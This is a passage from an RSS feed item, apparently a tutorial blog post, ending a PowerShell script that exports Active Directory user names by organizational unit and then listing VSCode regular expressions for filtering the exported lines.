&lt;/span&gt;&lt;span class="n"&gt;Write-Host&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"All user names from specified organizational units have been exported to &lt;/span&gt;&lt;span class="nv"&gt;$outputFile&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Pause for 5 seconds&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Start-Sleep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Seconds&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;5&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then open VSCode and use regular expressions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Match all lines with "Organizational Unit" and subsequent characters: &lt;code&gt;^.*Organizational Unit.*$&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Match all lines with "Production" and subsequent characters: &lt;code&gt;^.*Production.*$&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Match all lines with "Test" and subsequent characters: &lt;code&gt;^.*Test.*$&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Remove all blank lines: &lt;code&gt;^\s*\n&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>export</category>
      <category>regex</category>
      <category>domain</category>
      <category>users</category>
    </item>
  </channel>
</rss>
